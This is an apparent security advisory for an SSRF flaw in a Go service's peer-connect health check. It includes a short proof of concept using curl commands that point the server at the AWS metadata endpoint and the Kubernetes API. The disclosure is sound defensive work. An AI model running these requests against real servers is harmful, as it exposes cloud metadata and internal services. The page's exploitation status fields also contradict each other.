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GHSA-8mc6-xjpr-h98x

HighCVSS 7.7 / 10
Published May 7, 2026·Last modified May 7, 2026
Affected Components(0)

No affected components available

Description

Summary

The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.

Details

In internal/service/connect/connect.go, the fetchPeerConnectInfo function:

func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
    url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
    resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)

This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.

Called from:

  • Line 307: data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)
    • Line 498: data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)

PoC

# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'

# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
  "https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID

Or for Kubernetes:

curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'

Impact

  • Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
    • CWE-918: Server-Side Request Forgery
Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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